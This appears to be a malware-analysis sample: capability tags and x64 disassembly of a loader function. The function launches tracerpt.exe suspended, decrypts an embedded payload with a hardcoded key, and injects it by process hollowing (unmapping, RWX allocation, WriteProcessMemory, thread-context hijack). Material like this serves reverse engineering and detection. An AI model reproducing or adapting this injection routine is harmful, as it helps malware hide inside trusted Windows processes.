Function at 0x180002c40
Capabilities:
Create process on windows
Create process suspended
Execute shellcode via indirect call
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1290]
mov eax, 0x1390
call fcn.180023010
sub rsp, rax
mov rax, qword [0x180037008]
xor rax, rsp
mov qword [rbp + 0x1280], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x68
call fcn.180004558
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
movups xmmword [rbx + 0x40], xmm0
movups xmmword [rbx + 0x50], xmm0
mov qword [rbx + 0x60], rax
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x1080]
call fcn.180008fd0
mov r8d, 0x1ff
lea rdx, [rbp + 0x1080]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
xor edi, edi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov r14d, 4
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.C:WindowsSystem32_tracerpt.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp - 0x20]
call fcn.180008fd0
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002d40
mov eax, dword [0x18003272c]
mov dword [rcx], eax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002d60
mov eax, dword [0x180032730]
mov dword [rcx], eax
movzx eax, word [0x180032734]
mov word [rcx + 4], ax
lea rcx, [rbp - 0x20]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002d84
mov eax, dword [0x180032738]
mov dword [rcx], eax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002da0
mov eax, dword [0x18003273c]
mov dword [rcx], eax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002dc0
mov eax, dword [0x180032740]
mov dword [rcx], eax
movzx eax, word [0x180032744]
mov word [rcx + 4], ax
lea rcx, [rbp - 0x20]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002de4
mov eax, dword [0x180032748]
mov dword [rcx], eax
movzx eax, word [0x18003274c]
mov word [rcx + 4], ax
lea rax, [rbp - 0x20]
sub rax, 2
nop dword [rax + rax]
lea rax, [rax + 2]
cmp word [rax], di
jne 0x180002e10
movsd xmm0, qword [0x180032750]
movsd qword [rax], xmm0
lea rax, [rbp - 0x20]
sub rax, 2
nop dword [rax]
lea rax, [rax + 2]
cmp word [rax], di
jne 0x180002e30
movsd xmm0, qword [0x180032758]
movsd qword [rax], xmm0
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002e50
movsd xmm0, qword [str.86.2]
movsd qword [rcx], xmm0
movzx eax, word [0x180032768]
mov word [rcx + 8], ax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax + rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002e80
mov eax, dword [0x18003276c]
mov dword [rcx], eax
movzx eax, word [0x180032770]
mov word [rcx + 4], ax
lea rcx, [rbp - 0x20]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002ea4
mov eax, dword [0x180032774]
mov dword [rcx], eax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002ec0
movsd xmm0, qword [0x180032778]
movsd qword [rcx], xmm0
movzx eax, word [0x180032780]
mov word [rcx + 8], ax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax + rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002ef0
mov eax, dword [0x180032784]
mov dword [rcx], eax
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002f10
movsd xmm0, qword [0x180032788]
movsd qword [rcx], xmm0
lea rcx, [rbp - 0x20]
sub rcx, 2
nop dword [rax]
lea rcx, [rcx + 2]
cmp word [rcx], di
jne 0x180002f30
mov dword [rcx], eax
lea rax, [rbp - 0x20]
sub rax, 2
lea rax, [rax + 2]
cmp word [rax], di
jne 0x180002f43
movsd xmm0, qword [0x180032790]
movsd qword [rax], xmm0
mov dword [rsp + 0x50], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], rdi
lea rax, [rbp - 0x20]
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rax + rbx*2], di
jne 0x180002f77
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x180003710
mov r12d, 0x1000
mov qword [rbp - 0x78], 7
cmp rbx, 8
jae 0x180002fcb
mov qword [rbp - 0x80], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x70]
call fcn.180009390
xor esi, esi
mov word [rsp + rbx + 0x70], si
jmp 0x180003073
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x180002fe7
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x180003015
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x18000370a
add rcx, rcx
cmp rcx, r12
jb 0x180003041
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000370a
mov rcx, rax
call fcn.180004558
test rax, rax
je 0x180003716
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x18000304e
test rcx, rcx
je 0x18000304e
call fcn.180004558
mov rdi, rax
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x20]
mov rcx, rdi
call fcn.180009390
xor esi, esi
mov word [rdi + rbx], si
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.180002a10
mov r15, rax
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x1800030c2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, r12
jb 0x1800030bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003716
call fcn.180004550
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 7
mov word [rsp + 0x70], si
mov r12d, dword [rsp + 0x50]
mov ecx, r12d
call fcn.180004594
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov rcx, qword [str.abcdefgh]
mov qword [rbp + 0x1048], rcx
movaps xmm0, xmmword [0x1800314b0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm1, xmmword [0x1800314c0]
movaps xmmword [rbp], xmm1
movaps xmm0, xmmword [0x1800314d0]
movaps xmmword [rbp + 0x10], xmm0
movaps xmm1, xmmword [0x1800314e0]
movaps xmmword [rbp + 0x20], xmm1
movsd xmm0, qword [0x1800314f0]
movsd qword [rbp + 0x30], xmm0
mov r8d, 0x1000
lea rdx, [0x180031500]
lea rcx, [rbp + 0x38]
call fcn.180009390
lea r10, [rbp + 0x1048]
mov r9d, esi
lea rbx, [rbp - 0x10]
mov edi, 0x12
nop dword [rax]
nop dword [rax + rax]
mov r8d, esi
mov r11d, r14d
nop word [rax + rax]
mov edx, r9d
shl r8d, 8
movzx eax, byte [r10]
or r8d, eax
inc r10
lea ecx, [r9 + 1]
lea rax, [rbp + 0x1048]
cmp ecx, 8
cmovne rax, r10
mov r10, rax
mov r9d, esi
cmp edx, 7
cmovne r9d, ecx
sub r11d, 1
jne 0x180003180
xor dword [rbx], r8d
add rbx, 4
sub rdi, 1
jne 0x180003170
mov qword [rbp + 0x1040], rdi
mov ebx, esi
nop dword [rax]
lea rdx, [rbp + 0x1040]
lea rcx, [rbp - 0x20]
call fcn.180001130
mov ecx, ebx
mov eax, dword [rbp + 0x1040]
mov dword [rbp + rcx*4 - 0x10], eax
inc ebx
mov eax, dword [rbp + 0x1044]
mov dword [rbp + rbx*4 - 0x10], eax
inc ebx
cmp ebx, 0x12
jb 0x1800031d0
lea rsi, [rbp + 0x38]
xor r13d, r13d
nop word [rax + rax]
mov rdi, r13
mov rbx, rsi
nop word [rax + rax]
lea rdx, [rbp + 0x1040]
lea rcx, [rbp - 0x20]
call fcn.180001130
mov eax, dword [rbp + 0x1040]
mov dword [rbx], eax
mov eax, dword [rbp + 0x1044]
mov dword [rbx + 4], eax
add rdi, 2
lea rbx, [rbx + 8]
cmp rdi, 0x100
jl 0x180003220
add rsi, 0x400
sub r14, 1
jne 0x180003210
test r12, r12
mov r13, qword [rbp - 0x68]
je 0x180003700
test r12b, 7
jne 0x180003700
cmp r12, 8
jb 0x18000337d
lea rbx, [r13 - 7]
sub r15, r13
lea r8, [r15 + 0xa]
mov qword [rsp + 0x68], r8
lea rcx, [r15 + 9]
mov qword [rsp + 0x60], rcx
lea rdx, [r15 + 8]
mov qword [rsp + 0x58], rdx
shr r12, 3
nop word [rax + rax]
movzx eax, byte [r15 + rbx + 7]
shl eax, 0x18
movzx edx, byte [rdx + rbx]
shl edx, 0x10
or edx, eax
movzx ecx, byte [rcx + rbx]
shl ecx, 8
or ecx, edx
movzx eax, byte [r8 + rbx]
or eax, ecx
mov dword [rbp + 0x1040], eax
movzx eax, byte [rbx + r15 + 0xb]
shl eax, 0x18
movzx edx, byte [r15 + rbx + 0xc]
shl edx, 0x10
or edx, eax
movzx ecx, byte [r15 + rbx + 0xd]
shl ecx, 8
or ecx, edx
movzx eax, byte [r15 + rbx + 0xe]
or ecx, eax
mov dword [rbp + 0x1044], ecx
lea rdx, [rbp + 0x1040]
lea rcx, [rbp - 0x20]
call fcn.180001570
lea rbx, [rbx + 8]
movzx eax, byte [rbp + 0x1044]
mov byte [rbx + 6], al
mov ecx, dword [rbp + 0x1044]
mov eax, ecx
shr eax, 8
mov byte [rbx + 5], al
mov eax, ecx
shr eax, 0x10
mov byte [rbx + 4], al
shr ecx, 0x18
mov byte [rbx + 3], cl
movzx eax, byte [rbp + 0x1040]
mov byte [rbx + 2], al
mov ecx, dword [rbp + 0x1040]
mov eax, ecx
shr eax, 8
mov byte [rbx + 1], al
mov eax, ecx
shr eax, 0x10
mov byte [rbx], al
shr ecx, 0x18
mov byte [rbx - 1], cl
sub r12, 1
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
jne 0x1800032b0
mov ecx, 0x4d0
call fcn.180004558
mov rsi, rax
mov qword [rsp + 0x68], rax
xor edx, edx
mov r8d, 0x4d0
mov rcx, rax
call fcn.180008fd0
mov dword [rsi + 0x30], 0x10000b
mov rdx, rsi
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1800036ce
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor ebx, ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rbx + 8]
lea r8, [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
call rax
test eax, eax
jne 0x1800036ce
movsxd r14, dword [r13 + 0x3c]
add r14, r13
mov qword [rsp + 0x58], r14
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov qword [rbp - 0x58], rax
mov rcx, qword [rbp - 0x50]
mov r12, rcx
sub r12, qword [r14 + 0x30]
mov qword [r14 + 0x30], rcx
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], rbx
mov r8, r13
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800036ce
mov edi, ebx
movzx eax, word [r14 + 6]
cmp bx, ax
jae 0x1800034ca
xor esi, esi
movsxd rax, dword [r13 + 0x3c]
add rax, rbx
mov r9d, dword [rax + r13 + 0x118]
mov r8d, dword [rax + r13 + 0x11c]
add r8, r13
mov edx, dword [rax + r13 + 0x114]
add rdx, r15
mov qword [rsp + 0x20], rsi
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc edi
add rbx, 0x28
movzx eax, word [r14 + 6]
cmp edi, eax
jl 0x180003480
mov rsi, qword [rsp + 0x68]
xor ebx, ebx
test r12, r12
je 0x180003674
mov dword [rsp + 0x50], ebx
cmp bx, ax
jae 0x180003674
mov rdx, rbx
mov qword [rsp + 0x60], rbx
movzx edi, byte [0x1800327ce]
movzx esi, word [0x1800327cc]
mov r15d, dword [str..reloc]
nop dword [rax]
movsxd rbx, dword [r13 + 0x3c]
add rbx, rdx
mov dword [rbp + 0x1040], r15d
mov word [rbp + 0x1044], si
mov byte [rbp + 0x1046], dil
lea rax, [rbp + 0x1040]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180003530
lea rdx, [rbp + 0x1040]
lea rcx, [r13 + 0x108]
add rcx, rbx
call fcn.180009ae0
test eax, eax
jne 0x180003646
mov edx, dword [rbx + r13 + 0x11c]
mov dword [rbp - 0x70], edx
mov rax, qword [r14 + 0xb0]
mov qword [rbp - 0x60], rax
xor r14d, r14d
shr rax, 0x20
test eax, eax
je 0x180003641
nop dword [rax]
lea r15d, [r14 + rdx]
add r15, r13
add r14d, 8
mov ecx, dword [r15 + 4]
sub rcx, 8
shr rcx, 1
lea eax, [r14 + rdx]
mov edi, eax
add rdi, r13
test ecx, ecx
je 0x180003622
mov esi, ecx
lea r14d, [r14 + rcx*2]
xor r13d, r13d
mov ecx, 0x1000
movzx eax, word [rdi]
cmp ax, cx
jb 0x180003611
and eax, 0xfff
add eax, dword [r15]
mov qword [rbp - 0x30], r13
mov ebx, eax
mov rdx, qword [rbp - 0x50]
add rdx, rbx
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x30]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add qword [rbp - 0x30], r12
mov rax, qword [rbp - 0x50]
lea rdx, [rbx + rax]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x30]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, 0x1000
add rdi, 2
sub rsi, 1
jne 0x1800035b1
mov r13, qword [rbp - 0x68]
mov edx, dword [rbp - 0x70]
cmp r14d, dword [rbp - 0x5c]
jb 0x180003580
movzx edi, byte [0x1800327ce]
movzx esi, word [0x1800327cc]
mov r15d, dword [str..reloc]
mov r14, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
inc ecx
mov dword [rsp + 0x50], ecx
mov rdx, qword [rsp + 0x60]
add rdx, 0x28
mov qword [rsp + 0x60], rdx
movzx eax, word [r14 + 6]
cmp ecx, eax
jl 0x180003500
mov rsi, qword [rsp + 0x68]
mov r15, qword [rbp - 0x58]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
lea r8, [r14 + 0x30]
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [r14 + 0x28]
add rax, r15
mov qword [rsi + 0x80], rax
mov rdx, rsi
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1800036ce
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x1800036ce
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov rcx, qword [rbp + 0x1280]
xor rcx, rsp
call fcn.180004530
lea r11, [rsp + 0x1390]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor edx, edx
xor ecx, ecx
call fcn.180008e24
int3
call fcn.180001ab0
int3
call fcn.180001b50
int3
call fcn.18000d7b8
int3
jmp 0x180002c40